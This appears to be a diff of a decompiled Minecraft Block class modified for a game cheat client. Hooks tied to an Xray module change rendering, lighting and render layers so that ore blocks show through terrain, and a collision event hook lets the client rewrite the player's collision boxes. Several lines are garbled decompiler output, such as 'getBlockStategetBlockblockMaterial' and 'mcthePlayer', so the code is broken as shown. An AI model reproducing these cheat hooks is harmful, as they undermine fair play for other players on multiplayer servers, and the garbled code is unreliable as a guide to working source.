+  
+  protected Block(Material materialIn)
+  {
+    stepSound = soundTypeStone;
+    blockParticleGravity = 1.0F;
+    slipperiness = 0.6F;
+    blockMaterial = materialIn;
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 1.0F, 1.0F);
+    fullBlock = isOpaqueCube();
+    lightOpacity = (isOpaqueCube() ? 255 : 0);
+    translucent = (!materialIn.blocksLight());
+    blockState = createBlockState();
+    setDefaultState(blockState.getBaseState());
+  }
+  
+
+
+
+  protected Block setStepSound(SoundType sound)
+  {
+    stepSound = sound;
+    return this;
+  }
+  
+
+
+
+  protected Block setLightOpacity(int opacity)
+  {
+    lightOpacity = opacity;
+    return this;
+  }
+  
+
+
+
+
+  protected Block setLightLevel(float value)
+  {
+    lightValue = ((int)(15.0F * value));
+    return this;
+  }
+  
+
+
+
+  protected Block setResistance(float resistance)
+  {
+    blockResistance = (resistance * 3.0F);
+    return this;
+  }
+  
+
+
+
+  public boolean isSolidFullCube()
+  {
+    return (blockMaterial.blocksMovement()) && (isFullCube());
+  }
+  
+  public boolean isNormalCube()
+  {
+    return (blockMaterial.isOpaque()) && (isFullCube()) && (!canProvidePower());
+  }
+  
+  public boolean isVisuallyOpaque()
+  {
+    if (Client.instance.getModuleManager().getModuleByClass(Xray.class).isEnabled())
+    {
+      if (this == getBlockById(16)) {
+        return true;
+      }
+      return false;
+    }
+    return (blockMaterial.blocksMovement()) && (isFullCube());
+  }
+  
+  public boolean isFullCube()
+  {
+    return true;
+  }
+  
+  public boolean isPassable(IBlockAccess blockAccess, BlockPos pos)
+  {
+    return !blockMaterial.blocksMovement();
+  }
+  
+
+
+
+  public int getRenderType()
+  {
+    return 3;
+  }
+  
+
+
+
+  public boolean isReplaceable(World worldIn, BlockPos pos)
+  {
+    return false;
+  }
+  
+
+
+
+  protected Block setHardness(float hardness)
+  {
+    blockHardness = hardness;
+    
+    if (blockResistance < hardness * 5.0F)
+    {
+      blockResistance = (hardness * 5.0F);
+    }
+    
+    return this;
+  }
+  
+  protected Block setBlockUnbreakable()
+  {
+    setHardness(-1.0F);
+    return this;
+  }
+  
+  public float getBlockHardness(World worldIn, BlockPos pos)
+  {
+    return blockHardness;
+  }
+  
+
+
+
+  protected Block setTickRandomly(boolean shouldTick)
+  {
+    needsRandomTick = shouldTick;
+    return this;
+  }
+  
+
+
+
+
+  public boolean getTickRandomly()
+  {
+    return needsRandomTick;
+  }
+  
+  public boolean hasTileEntity()
+  {
+    return isBlockContainer;
+  }
+  
+  protected final void setBlockBounds(float minX, float minY, float minZ, float maxX, float maxY, float maxZ)
+  {
+    this.minX = minX;
+    this.minY = minY;
+    this.minZ = minZ;
+    this.maxX = maxX;
+    this.maxY = maxY;
+    this.maxZ = maxZ;
+  }
+  
+  public int getMixedBrightnessForBlock(IBlockAccess worldIn, BlockPos pos)
+  {
+    Block var3 = worldIn.getBlockState(pos).getBlock();
+    int var4 = worldIn.getCombinedLight(pos, Client.instance.getModuleManager().getModuleByClass(Xray.class).isEnabled() ? 100000 : var3.getLightValue());
+    
+    if ((var4 == 0) && ((var3 instanceof BlockSlab)))
+    {
+      pos = pos.offsetDown();
+      var3 = worldIn.getBlockState(pos).getBlock();
+      return worldIn.getCombinedLight(pos, var3.getLightValue());
+    }
+    
+
+    return var4;
+  }
+  
+
+
+  public boolean shouldSideBeRendered(IBlockAccess worldIn, BlockPos pos, EnumFacing side)
+  {
+    if ((Client.instance.getModuleManager().getModuleByClass(Xray.class).isEnabled()) && 
+      (this == getBlockById(16))) {
+      return true;
+    }
+    
+    if (Client.instance.getModuleManager().getModuleByClass(Xray.class).isEnabled()) {
+      Xray xray = (Xray)Client.instance.getModuleManager().getModuleByClass(Xray.class);
+      for (Integer block : xray.getBlocks()) {
+        if (this == getBlockById(block.intValue())) {
+          return true;
+        }
+      }
+    }
+    return (side == EnumFacing.DOWN) && (minY > 0.0D);
+  }
+  
+
+
+
+  public boolean isBlockSolid(IBlockAccess worldIn, BlockPos pos, EnumFacing side)
+  {
+    return worldIn.getBlockState(pos).getBlock().getMaterial().isSolid();
+  }
+  
+  public AxisAlignedBB getSelectedBoundingBox(World worldIn, BlockPos pos)
+  {
+    return new AxisAlignedBB(pos.getX() + minX, pos.getY() + minY, pos.getZ() + minZ, pos.getX() + maxX, pos.getY() + maxY, pos.getZ() + maxZ);
+  }
+  
+
+
+
+
+
+  public void addCollisionBoxesToList(World worldIn, BlockPos pos, IBlockState state, AxisAlignedBB mask, List list, Entity collidingEntity)
+  {
+    AxisAlignedBB var7 = getCollisionBoundingBox(worldIn, pos, state);
+    
+
+    if (collidingEntity == mcthePlayer)
+    {
+      EventCollideWithBlock e = (EventCollideWithBlock)EventBus.getInstance().call(new EventCollideWithBlock(this, pos, var7));
+      
+      var7 = e.getBoundingBox();
+    }
+    
+    if ((var7 != null) && (mask.intersectsWith(var7)))
+    {
+      list.add(var7);
+    }
+  }
+  
+  public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    return new AxisAlignedBB(pos.getX() + minX, pos.getY() + minY, pos.getZ() + minZ, pos.getX() + maxX, pos.getY() + maxY, pos.getZ() + maxZ);
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return true;
+  }
+  
+  public boolean canCollideCheck(IBlockState state, boolean p_176209_2_)
+  {
+    return isCollidable();
+  }
+  
+
+
+
+  public boolean isCollidable()
+  {
+    return true;
+  }
+  
+
+
+
+  public void randomTick(World worldIn, BlockPos pos, IBlockState state, Random random)
+  {
+    updateTick(worldIn, pos, state, random);
+  }
+  
+
+
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand) {}
+  
+
+  public void randomDisplayTick(World worldIn, BlockPos pos, IBlockState state, Random rand) {}
+  
+
+  public void onBlockDestroyedByPlayer(World worldIn, BlockPos pos, IBlockState state) {}
+  
+
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock) {}
+  
+
+  public int tickRate(World worldIn)
+  {
+    return 10;
+  }
+  
+
+  public void onBlockAdded(World worldIn, BlockPos pos, IBlockState state) {}
+  
+
+  public void breakBlock(World worldIn, BlockPos pos, IBlockState state) {}
+  
+
+  public int quantityDropped(Random random)
+  {
+    return 1;
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Item.getItemFromBlock(this);
+  }
+  
+
+
+
+  public float getPlayerRelativeBlockHardness(EntityPlayer playerIn, World worldIn, BlockPos pos)
+  {
+    float var4 = getBlockHardness(worldIn, pos);
+    return !playerIn.canHarvestBlock(this) ? playerIn.func_180471_a(this) / var4 / 100.0F : var4 < 0.0F ? 0.0F : playerIn.func_180471_a(this) / var4 / 30.0F;
+  }
+  
+
+
+
+
+
+  public final void dropBlockAsItem(World worldIn, BlockPos pos, IBlockState state, int forture)
+  {
+    dropBlockAsItemWithChance(worldIn, pos, state, 1.0F, forture);
+  }
+  
+
+
+
+
+
+
+  public void dropBlockAsItemWithChance(World worldIn, BlockPos pos, IBlockState state, float chance, int fortune)
+  {
+    if (!isRemote)
+    {
+      int var6 = quantityDroppedWithBonus(fortune, rand);
+      
+      for (int var7 = 0; var7 < var6; var7++)
+      {
+        if (rand.nextFloat() <= chance)
+        {
+          Item var8 = getItemDropped(state, rand, fortune);
+          
+          if (var8 != null)
+          {
+            spawnAsEntity(worldIn, pos, new ItemStack(var8, 1, damageDropped(state)));
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+  public static void spawnAsEntity(World worldIn, BlockPos pos, ItemStack stack)
+  {
+    if ((!isRemote) && (worldIn.getGameRules().getGameRuleBooleanValue("doTileDrops")))
+    {
+      float var3 = 0.5F;
+      double var4 = rand.nextFloat() * var3 + (1.0F - var3) * 0.5D;
+      double var6 = rand.nextFloat() * var3 + (1.0F - var3) * 0.5D;
+      double var8 = rand.nextFloat() * var3 + (1.0F - var3) * 0.5D;
+      EntityItem var10 = new EntityItem(worldIn, pos.getX() + var4, pos.getY() + var6, pos.getZ() + var8, stack);
+      var10.setDefaultPickupDelay();
+      worldIn.spawnEntityInWorld(var10);
+    }
+  }
+  
+
+
+
+
+
+  protected void dropXpOnBlockBreak(World worldIn, BlockPos pos, int amount)
+  {
+    if (!isRemote)
+    {
+      while (amount > 0)
+      {
+        int var4 = EntityXPOrb.getXPSplit(amount);
+        amount -= var4;
+        worldIn.spawnEntityInWorld(new EntityXPOrb(worldIn, pos.getX() + 0.5D, pos.getY() + 0.5D, pos.getZ() + 0.5D, var4));
+      }
+    }
+  }
+  
+
+
+
+  public int damageDropped(IBlockState state)
+  {
+    return 0;
+  }
+  
+
+
+
+  public float getExplosionResistance(Entity exploder)
+  {
+    return blockResistance / 5.0F;
+  }
+  
+
+
+
+
+
+
+  public MovingObjectPosition collisionRayTrace(World worldIn, BlockPos pos, Vec3 start, Vec3 end)
+  {
+    setBlockBoundsBasedOnState(worldIn, pos);
+    start = start.addVector(-pos.getX(), -pos.getY(), -pos.getZ());
+    end = end.addVector(-pos.getX(), -pos.getY(), -pos.getZ());
+    Vec3 var5 = start.getIntermediateWithXValue(end, minX);
+    Vec3 var6 = start.getIntermediateWithXValue(end, maxX);
+    Vec3 var7 = start.getIntermediateWithYValue(end, minY);
+    Vec3 var8 = start.getIntermediateWithYValue(end, maxY);
+    Vec3 var9 = start.getIntermediateWithZValue(end, minZ);
+    Vec3 var10 = start.getIntermediateWithZValue(end, maxZ);
+    
+    if (!isVecInsideYZBounds(var5))
+    {
+      var5 = null;
+    }
+    
+    if (!isVecInsideYZBounds(var6))
+    {
+      var6 = null;
+    }
+    
+    if (!isVecInsideXZBounds(var7))
+    {
+      var7 = null;
+    }
+    
+    if (!isVecInsideXZBounds(var8))
+    {
+      var8 = null;
+    }
+    
+    if (!isVecInsideXYBounds(var9))
+    {
+      var9 = null;
+    }
+    
+    if (!isVecInsideXYBounds(var10))
+    {
+      var10 = null;
+    }
+    
+    Vec3 var11 = null;
+    
+    if ((var5 != null) && ((var11 == null) || (start.squareDistanceTo(var5) < start.squareDistanceTo(var11))))
+    {
+      var11 = var5;
+    }
+    
+    if ((var6 != null) && ((var11 == null) || (start.squareDistanceTo(var6) < start.squareDistanceTo(var11))))
+    {
+      var11 = var6;
+    }
+    
+    if ((var7 != null) && ((var11 == null) || (start.squareDistanceTo(var7) < start.squareDistanceTo(var11))))
+    {
+      var11 = var7;
+    }
+    
+    if ((var8 != null) && ((var11 == null) || (start.squareDistanceTo(var8) < start.squareDistanceTo(var11))))
+    {
+      var11 = var8;
+    }
+    
+    if ((var9 != null) && ((var11 == null) || (start.squareDistanceTo(var9) < start.squareDistanceTo(var11))))
+    {
+      var11 = var9;
+    }
+    
+    if ((var10 != null) && ((var11 == null) || (start.squareDistanceTo(var10) < start.squareDistanceTo(var11))))
+    {
+      var11 = var10;
+    }
+    
+    if (var11 == null)
+    {
+      return null;
+    }
+    
+
+    EnumFacing var12 = null;
+    
+    if (var11 == var5)
+    {
+      var12 = EnumFacing.WEST;
+    }
+    
+    if (var11 == var6)
+    {
+      var12 = EnumFacing.EAST;
+    }
+    
+    if (var11 == var7)
+    {
+      var12 = EnumFacing.DOWN;
+    }
+    
+    if (var11 == var8)
+    {
+      var12 = EnumFacing.UP;
+    }
+    
+    if (var11 == var9)
+    {
+      var12 = EnumFacing.NORTH;
+    }
+    
+    if (var11 == var10)
+    {
+      var12 = EnumFacing.SOUTH;
+    }
+    
+    return new MovingObjectPosition(var11.addVector(pos.getX(), pos.getY(), pos.getZ()), var12, pos);
+  }
+  
+
+
+
+
+  private boolean isVecInsideYZBounds(Vec3 point)
+  {
+    return point != null;
+  }
+  
+
+
+
+  private boolean isVecInsideXZBounds(Vec3 point)
+  {
+    return point != null;
+  }
+  
+
+
+
+  private boolean isVecInsideXYBounds(Vec3 point)
+  {
+    return point != null;
+  }
+  
+
+
+  public void onBlockDestroyedByExplosion(World worldIn, BlockPos pos, Explosion explosionIn) {}
+  
+
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    if (Client.instance.getModuleManager().getModuleByClass(Xray.class).isEnabled()) {
+      if (this == getBlockById(16)) {
+        return EnumWorldBlockLayer.SOLID;
+      }
+      if (this == getBlockById(14)) {
+        return EnumWorldBlockLayer.SOLID;
+      }
+      if (this == getBlockById(15)) {
+        return EnumWorldBlockLayer.SOLID;
+      }
+      if (this == getBlockById(56)) {
+        return EnumWorldBlockLayer.SOLID;
+      }
+      if (this == getBlockById(129)) {
+        return EnumWorldBlockLayer.SOLID;
+      }
+      if (this == getBlockById(73)) {
+        return EnumWorldBlockLayer.SOLID;
+      }
+      return EnumWorldBlockLayer.TRANSLUCENT;
+    }
+    return EnumWorldBlockLayer.SOLID;
+  }
+  
+  public boolean canReplace(World worldIn, BlockPos pos, EnumFacing side, ItemStack stack)
+  {
+    return canPlaceBlockOnSide(worldIn, pos, side);
+  }
+  
+
+
+
+  public boolean canPlaceBlockOnSide(World worldIn, BlockPos pos, EnumFacing side)
+  {
+    return canPlaceBlockAt(worldIn, pos);
+  }
+  
+  public boolean canPlaceBlockAt(World worldIn, BlockPos pos)
+  {
+    return getBlockStategetBlockblockMaterial.isReplaceable();
+  }
+  
+  public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    return false;
+  }
+  
+
+
+  public void onEntityCollidedWithBlock(World worldIn, BlockPos pos, Entity entityIn) {}
+  
+
+  public IBlockState onBlockPlaced(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer)
+  {
+    return getStateFromMeta(meta);
+  }
+  
+  public void onBlockClicked(World worldIn, BlockPos pos, EntityPlayer playerIn) {}
+  
+  public Vec3 modifyAcceleration(World worldIn, BlockPos pos, Entity entityIn, Vec3 motion)
+  {
+    return motion;
+  }
+  
+
+
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos) {}
+  
+
+  public final double getBlockBoundsMinX()
+  {
+    return minX;
+  }
+  
+
+
+
+  public final double getBlockBoundsMaxX()
+  {
+    return maxX;
+  }
+  
+
+
+
+  public final double getBlockBoundsMinY()
+  {
+    return minY;
+  }
+  
+
+
+
+  public final double getBlockBoundsMaxY()
+  {
+    return maxY;
+  }
+  
+
+
+
+  public final double getBlockBoundsMinZ()
+  {
+    return minZ;
+  }
+  
+
+
+
+  public final double getBlockBoundsMaxZ()
+  {
+    return maxZ;
+  }
+  
+  public int getBlockColor()
+  {
+    return 16777215;
+  }
+  
+  public int getRenderColor(IBlockState state)
+  {
+    return 16777215;
+  }
+  
+  public int colorMultiplier(IBlockAccess worldIn, BlockPos pos, int renderPass)
+  {
+    return 16777215;
+  }
+  
+  public final int colorMultiplier(IBlockAccess worldIn, BlockPos pos)
+  {
+    return colorMultiplier(worldIn, pos, 0);
+  }
+  
+  public int isProvidingWeakPower(IBlockAccess worldIn, BlockPos pos, IBlockState state, EnumFacing side)
+  {
+    return 0;
+  }
+  
+
+
+
+  public boolean canProvidePower()
+  {
+    return false;
+  }
+  
+
+
+  public void onEntityCollidedWithBlock(World worldIn, BlockPos pos, IBlockState state, Entity entityIn) {}
+  
+
+  public int isProvidingStrongPower(IBlockAccess worldIn, BlockPos pos, IBlockState state, EnumFacing side)
+  {
+    return 0;
+  }
+  
+
+
+  public void setBlockBoundsForItemRender() {}
+  
+
+  public void harvestBlock(World worldIn, EntityPlayer playerIn, BlockPos pos, IBlockState state, TileEntity te)
+  {
+    playerIn.triggerAchievement(net.minecraft.stats.StatList.mineBlockStatArray[getIdFromBlock(this)]);
+    playerIn.addExhaustion(0.025F);
+    
+    if ((canSilkHarvest()) && (EnchantmentHelper.getSilkTouchModifier(playerIn)))
+    {
+      ItemStack var7 = createStackedBlock(state);
+      
+      if (var7 != null)
+      {
+        spawnAsEntity(worldIn, pos, var7);
+      }
+    }
+    else
+    {
+      int var6 = EnchantmentHelper.getFortuneModifier(playerIn);
+      dropBlockAsItem(worldIn, pos, state, var6);
+    }
+  }
+  
+  protected boolean canSilkHarvest()
+  {
+    return (isFullCube()) && (!isBlockContainer);
+  }
+  
+  protected ItemStack createStackedBlock(IBlockState state)
+  {
+    int var2 = 0;
+    Item var3 = Item.getItemFromBlock(this);
+    
+    if ((var3 != null) && (var3.getHasSubtypes()))
+    {
+      var2 = getMetaFromState(state);
+    }
+    
+    return new ItemStack(var3, 1, var2);
+  }
+  
+
+
+
+  public int quantityDroppedWithBonus(int fortune, Random random)
+  {
+    return quantityDropped(random);
+  }
+  
+  public void onBlockPlacedBy(World worldIn, BlockPos pos, IBlockState state, EntityLivingBase placer, ItemStack stack) {}
+  
+  public Block setUnlocalizedName(String name)
+  {
+    unlocalizedName = name;
+    return this;
+  }
+  
+
+
+
+  public String getLocalizedName()
+  {
+    return StatCollector.translateToLocal(getUnlocalizedName() + ".name");
+  }
+  
+
+
+
+  public String getUnlocalizedName()
+  {
+    return "tile." + unlocalizedName;
+  }
+  
+
+
+
+  public boolean onBlockEventReceived(World worldIn, BlockPos pos, IBlockState state, int eventID, int eventParam)
+  {
+    return false;
+  }
+  
+
+
+
+  public boolean getEnableStats()
+  {
+    return enableStats;
+  }
+  
+  protected Block disableStats()
+  {
+    enableStats = false;
+    return this;
+  }
+  
+  public int getMobilityFlag()
+  {
+    return blockMaterial.getMaterialMobility();
+  }
+  
+
+
+
+  public float getAmbientOcclusionLightValue()
+  {
+    return isSolidFullCube() ? 0.2F : 1.0F;
+  }
+  
+
+
+
+
+
+  public void onFallenUpon(World worldIn, BlockPos pos, Entity entityIn, float fallDistance)
+  {
+    entityIn.fall(fallDistance, 1.0F);
+  }
+  
+
+
+
+
+  public void onLanded(World worldIn, Entity entityIn)
+  {
+    motionY = 0.0D;
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    return Item.getItemFromBlock(this);
+  }
+  
+  public int getDamageValue(World worldIn, BlockPos pos)
+  {
+    return damageDropped(worldIn.getBlockState(pos));
+  }
+  
+
+
+
+  public void getSubBlocks(Item itemIn, CreativeTabs tab, List list)
+  {
+    list.add(new ItemStack(itemIn, 1, 0));
+  }
+  
+
+
+
+  public CreativeTabs getCreativeTabToDisplayOn()
+  {
+    return displayOnCreativeTab;
+  }
+  
+  public Block setCreativeTab(CreativeTabs tab)
+  {
+    displayOnCreativeTab = tab;
+    return this;
+  }
+  
+
+
+  public void onBlockHarvested(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn) {}
+  
+
+
+  public void fillWithRain(World worldIn, BlockPos pos) {}
+  
+
+
+  public boolean isFlowerPot()
+  {
+    return false;
+  }
+  
+  public boolean requiresUpdates()
+  {
+    return true;
+  }
+  
+
+
+
+  public boolean canDropFromExplosion(Explosion explosionIn)
+  {
+    return true;
+  }
+  
+  public boolean isAssociatedBlock(Block other)
+  {
+    return this == other;
+  }
+  
+  public static boolean isEqualTo(Block blockIn, Block other)
+  {
+    return blockIn == other;
+  }
+  
+  public boolean hasComparatorInputOverride()
+  {
+    return false;
+  }
+  
+  public int getComparatorInputOverride(World worldIn, BlockPos pos)
+  {
+    return 0;
+  }
+  
+
+
+
+  public IBlockState getStateForEntityRender(IBlockState state)
+  {
+    return state;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[0]);
+  }
+  
+  public BlockState getBlockState()
+  {
+    return blockState;
+  }
+  
+  protected final void setDefaultState(IBlockState state)
+  {
+    defaultBlockState = state;
+  }
+  
+  public final IBlockState getDefaultState()
+  {
+    return defaultBlockState;
+  }
+  
+
+
+
+  public EnumOffsetType getOffsetType()
+  {
+    return EnumOffsetType.NONE;
+  }
+  
+  public static void registerBlocks()
+  {
+    registerBlock(0, AIR_ID, new BlockAir().setUnlocalizedName("air"));
+    registerBlock(1, "stone", new BlockStone().setHardness(1.5F).setResistance(10.0F).setStepSound(soundTypePiston).setUnlocalizedName("stone"));
+    registerBlock(2, "grass", new BlockGrass().setHardness(0.6F).setStepSound(soundTypeGrass).setUnlocalizedName("grass"));
+    registerBlock(3, "dirt", new BlockDirt().setHardness(0.5F).setStepSound(soundTypeGravel).setUnlocalizedName("dirt"));
+    Block var0 = new Block(Material.rock).setHardness(2.0F).setResistance(10.0F).setStepSound(soundTypePiston).setUnlocalizedName("stonebrick").setCreativeTab(CreativeTabs.tabBlock);
+    registerBlock(4, "cobblestone", var0);
+    Block var1 = new BlockPlanks().setHardness(2.0F).setResistance(5.0F).setStepSound(soundTypeWood).setUnlocalizedName("wood");
+    registerBlock(5, "planks", var1);
+    registerBlock(6, "sapling", new BlockSapling().setHardness(0.0F).setStepSound(soundTypeGrass).setUnlocalizedName("sapling"));
+    registerBlock(7, "bedrock", new Block(Material.rock).setBlockUnbreakable().setResistance(6000000.0F).setStepSound(soundTypePiston).setUnlocalizedName("bedrock").disableStats().setCreativeTab(CreativeTabs.tabBlock));
+    registerBlock(8, "flowing_water", new BlockDynamicLiquid(Material.water).setHardness(100.0F).setLightOpacity(3).setUnlocalizedName("water").disableStats());
+    registerBlock(9, "water", new BlockStaticLiquid(Material.water).setHardness(100.0F).setLightOpacity(3).setUnlocalizedName("water").disableStats());
+    registerBlock(10, "flowing_lava", new BlockDynamicLiquid(Material.lava).setHardness(100.0F).setLightLevel(1.0F).setUnlocalizedName("lava").disableStats());
+    registerBlock(11, "lava", new BlockStaticLiquid(Material.lava).setHardness(100.0F).setLightLevel(1.0F).setUnlocalizedName("lava").disableStats());
+    registerBlock(12, "sand", new BlockSand().setHardness(0.5F).setStepSound(soundTypeSand).setUnlocalizedName("sand"));
+    registerBlock(13, "gravel", new BlockGravel().setHardness(0.6F).setStepSound(soundTypeGravel).setUnlocalizedName("gravel"));
+    registerBlock(14, "gold_ore", new BlockOre().setHardness(3.0F).setResistance(5.0F).setStepSound(soundTypePiston).setUnlocalizedName("oreGold"));
+    registerBlock(15, "iron_ore", new BlockOre().setHardness(3.0F).setResistance(5.0F).setStepSound(soundTypePiston).setUnlocalizedName("oreIron"));
+    registerBlock(16, "coal_ore", new BlockOre().setHardness(3.0F).setResistance(5.0F).setStepSound(soundTypePiston).setUnlocalizedName("oreCoal"));
+    registerBlock(17, "log", new BlockOldLog().setUnlocalizedName("log"));
+    registerBlock(18, "leaves", new BlockOldLeaf().setUnlocalizedName("leaves"));
+    registerBlock(19, "sponge", new BlockSponge().setHardness(0.6F).setStepSound(soundTypeGrass).setUnlocalizedName("sponge"));
+    registerBlock(20, "glass", new BlockGlass(Material.glass, false).setHardness(0.3F).setStepSound(soundTypeGlass).setUnlocalizedName("glass"));
+    registerBlock(21, "lapis_ore", new BlockOre().setHardness(3.0F).setResistance(5.0F).setStepSound(soundTypePiston).setUnlocalizedName("oreLapis"));
+    registerBlock(22, "lapis_block", new BlockCompressed(MapColor.lapisColor).setHardness(3.0F).setResistance(5.0F).setStepSound(soundTypePiston).setUnlocalizedName("blockLapis").setCreativeTab(CreativeTabs.tabBlock));
+    registerBlock(23, "dispenser", new BlockDispenser().setHardness(3.5F).setStepSound(soundTypePiston).setUnlocalizedName("dispenser"));
+    Block var2 = new BlockSandStone().setStepSound(soundTypePiston).setHardness(0.8F).setUnlocalizedName("sandStone");
+    registerBlock(24, "sandstone", var2);
+    registerBlock(25, "noteblock", new BlockNote().setHardness(0.8F).setUnlocalizedName("musicBlock"));
+    registerBlock(26, "bed", new BlockBed().setStepSound(soundTypeWood).setHardness(0.2F).setUnlocalizedName("bed").disableStats());
+    registerBlock(27, "golden_rail", new BlockRailPowered().setHardness(0.7F).setStepSound(soundTypeMetal).setUnlocalizedName("goldenRail"));
+    registerBlock(28, "detector_rail", new BlockRailDetector().setHardness(0.7F).setStepSound(soundTypeMetal).setUnlocalizedName("detectorRail"));
+    registerBlock(29, "sticky_piston", new BlockPistonBase(true).setUnlocalizedName("pistonStickyBase"));
+    registerBlock(30, "web", new BlockWeb().setLightOpacity(1).setHardness(4.0F).setUnlocalizedName("web"));
+    registerBlock(31, "tallgrass", new BlockTallGrass().setHardness(0.0F).setStepSound(soundTypeGrass).setUnlocalizedName("tallgrass"));
+    registerBlock(32, "deadbush", new BlockDeadBush().setHardness(0.0F).setStepSound(soundTypeGrass).setUnlocalizedName("deadbush"));
+    registerBlock(33, "piston", new BlockPistonBase(false).setUnlocalizedName("pistonBase"));
+    registerBlock(34, "piston_head", new BlockPistonExtension());
+    registerBlock(35, "wool", new BlockColored(Material.cloth).setHardness(0.8F).setStepSound(soundTypeCloth).setUnlocalizedName("cloth"));
+    registerBlock(36, "piston_extension", new BlockPistonMoving());
+    registerBlock(37, "yellow_flower", new BlockYellowFlower().setHardness(0.0F).setStepSound(soundTypeGrass).setUnlocalizedName("flower1"));
+    registerBlock(38, "red_flower", new BlockRedFlower().setHardness(0.0F).setStepSound(soundTypeGrass).setUnlocalizedName("flower2"));
+    Block var3 = new BlockMushroom().setHardness(0.0F).setStepSound(soundTypeGrass).setLightLevel(0.125F).setUnlocalizedName("mushroom");
+    registerBlock(39, "brown_mushroom", var3);
+    Block var4 = new BlockMushroom().setHardness(0.0F).setStepSound(soundTypeGrass).setUnlocalizedName("mushroom");
+    registerBlock(40, "red_mushroom", var4);
+    registerBlock(41, "gold_block", new BlockCompressed(MapColor.goldColor).setHardness(3.0F).setResistance(10.0F).setStepSound(soundTypeMetal).setUnlocalizedName("blockGold"));
+    registerBlock(42, "iron_block", new BlockCompressed(MapColor.ironColor).setHardness(5.0F).setResistance(10.0F).setStepSound(soundTypeMetal).setUnlocalizedName("blockIron"));
+    registerBlock(43, "double_stone_slab", new BlockDoubleStoneSlab().setHardness(2.0F).setResistance(10.0F).setStepSound(soundTypePiston).setUnlocalizedName("stoneSlab"));
+    registerBlock(44, "stone_slab", new BlockHalfStoneSlab().setHardness(2.0F).setResistance(10.0F).setStepSound(soundTypePiston).setUnlocalizedName("stoneSlab"));
+    Block var5 = new Block(Material.rock).setHardness(2.0F).setResistance(10.0F).setStepSound(soundTypePiston).setUnlocalizedName("brick").setCreativeTab(CreativeTabs.tabBlock);
+    registerBlock(45, "brick_block", var5);
+    registerBlock(46, "tnt", new BlockTNT().setHardness(0.0F).setStepSound(soundTypeGrass).setUnlocalizedName("tnt"));
+    registerBlock(47, "bookshelf", new BlockBookshelf().setHardness(1.5F).setStepSound(soundTypeWood).setUnlocalizedName("bookshelf"));
+    registerBlock(48, "mossy_cobblestone", new Block(Material.rock).setHardness(2.0F).setResistance(10.0F).setStepSound(soundTypePiston).setUnlocalizedName("stoneMoss").setCreativeTab(CreativeTabs.tabBlock));
+    registerBlock(49, "obsidian", new BlockObsidian().setHardness(50.0F).setResistance(2000.0F).setStepSound(soundTypePiston).setUnlocalizedName("obsidian"));
+    registerBlock(50, "torch", new BlockTorch().setHardness(0.0F).setLightLevel(0.9375F).setStepSound(soundTypeWood).setUnlocalizedName("torch"));
+    registerBlock(51, "fire", new BlockFire().setHardness(0.0F).setLightLevel(1.0F).setStepSound(soundTypeCloth).setUnlocalizedName("fire").disableStats());
+    registerBlock(52, "mob_spawner", new BlockMobSpawner().setHardness(5.0F).setStepSound(soundTypeMetal).setUnlocalizedName("mobSpawner").disableStats());
+    registerBlock(53, "oak_stairs", new BlockStairs(var1.getDefaultState().withProperty(BlockPlanks.VARIANT_PROP, BlockPlanks.EnumType.OAK)).setUnlocalizedName("stairsWood"));
+    registerBlock(54, "chest", new BlockChest(0).setHardness(2.5F).setStepSound(soundTypeWood).setUnlocalizedName("chest"));
+    registerBlock(55, "redstone_wire", new BlockRedstoneWire().setHardness(0.0F).setStepSound(soundTypeStone).setUnlocalizedName("redstoneDust").disableStats());
+    registerBlock(56, "diamond_ore", new BlockOre().setHardness(3.0F).setResistance(5.0F).setStepSound(soundTypePiston).setUnlocalizedName("oreDiamond"));
+    registerBlock(57, "diamond_block", new BlockCompressed(MapColor.diamondColor).setHardness(5.0F).setResistance(10.0F).setStepSound(soundTypeMetal).setUnlocalizedName("blockDiamond"));
+    registerBlock(58, "crafting_table", new BlockWorkbench().setHardness(2.5F).setStepSound(soundTypeWood).setUnlocalizedName("workbench"));
+    registerBlock(59, "wheat", new BlockCrops().setUnlocalizedName("crops"));
+    Block var6 = new BlockFarmland().setHardness(0.6F).setStepSound(soundTypeGravel).setUnlocalizedName("farmland");
+    registerBlock(60, "farmland", var6);
+    registerBlock(61, "furnace", new BlockFurnace(false).setHardness(3.5F).setStepSound(soundTypePiston).setUnlocalizedName("furnace").setCreativeTab(CreativeTabs.tabDecorations));
+    registerBlock(62, "lit_furnace", new BlockFurnace(true).setHardness(3.5F).setStepSound(soundTypePiston).setLightLevel(0.875F).setUnlocalizedName("furnace"));
+    registerBlock(63, "standing_sign", new BlockStandingSign().setHardness(1.0F).setStepSound(soundTypeWood).setUnlocalizedName("sign").disableStats());
+    registerBlock(64, "wooden_door", new BlockDoor(Material.wood).setHardness(3.0F).setStepSound(soundTypeWood).setUnlocalizedName("doorOak").disableStats());
+    registerBlock(65, "ladder", new BlockLadder().setHardness(0.4F).setStepSound(soundTypeLadder).setUnlocalizedName("ladder"));
+    registerBlock(66, "rail", new BlockRail().setHardness(0.7F).setStepSound(soundTypeMetal).setUnlocalizedName("rail"));
+    registerBlock(67, "stone_stairs", new BlockStairs(var0.getDefaultState()).setUnlocalizedName("stairsStone"));
+    registerBlock(68, "wall_sign", new BlockWallSign().setHardness(1.0F).setStepSound(soundTypeWood).setUnlocalizedName("sign").disableStats());
+    registerBlock(69, "lever", new BlockLever().setHardness(0.5F).setStepSound(soundTypeWood).setUnlocalizedName("lever"));
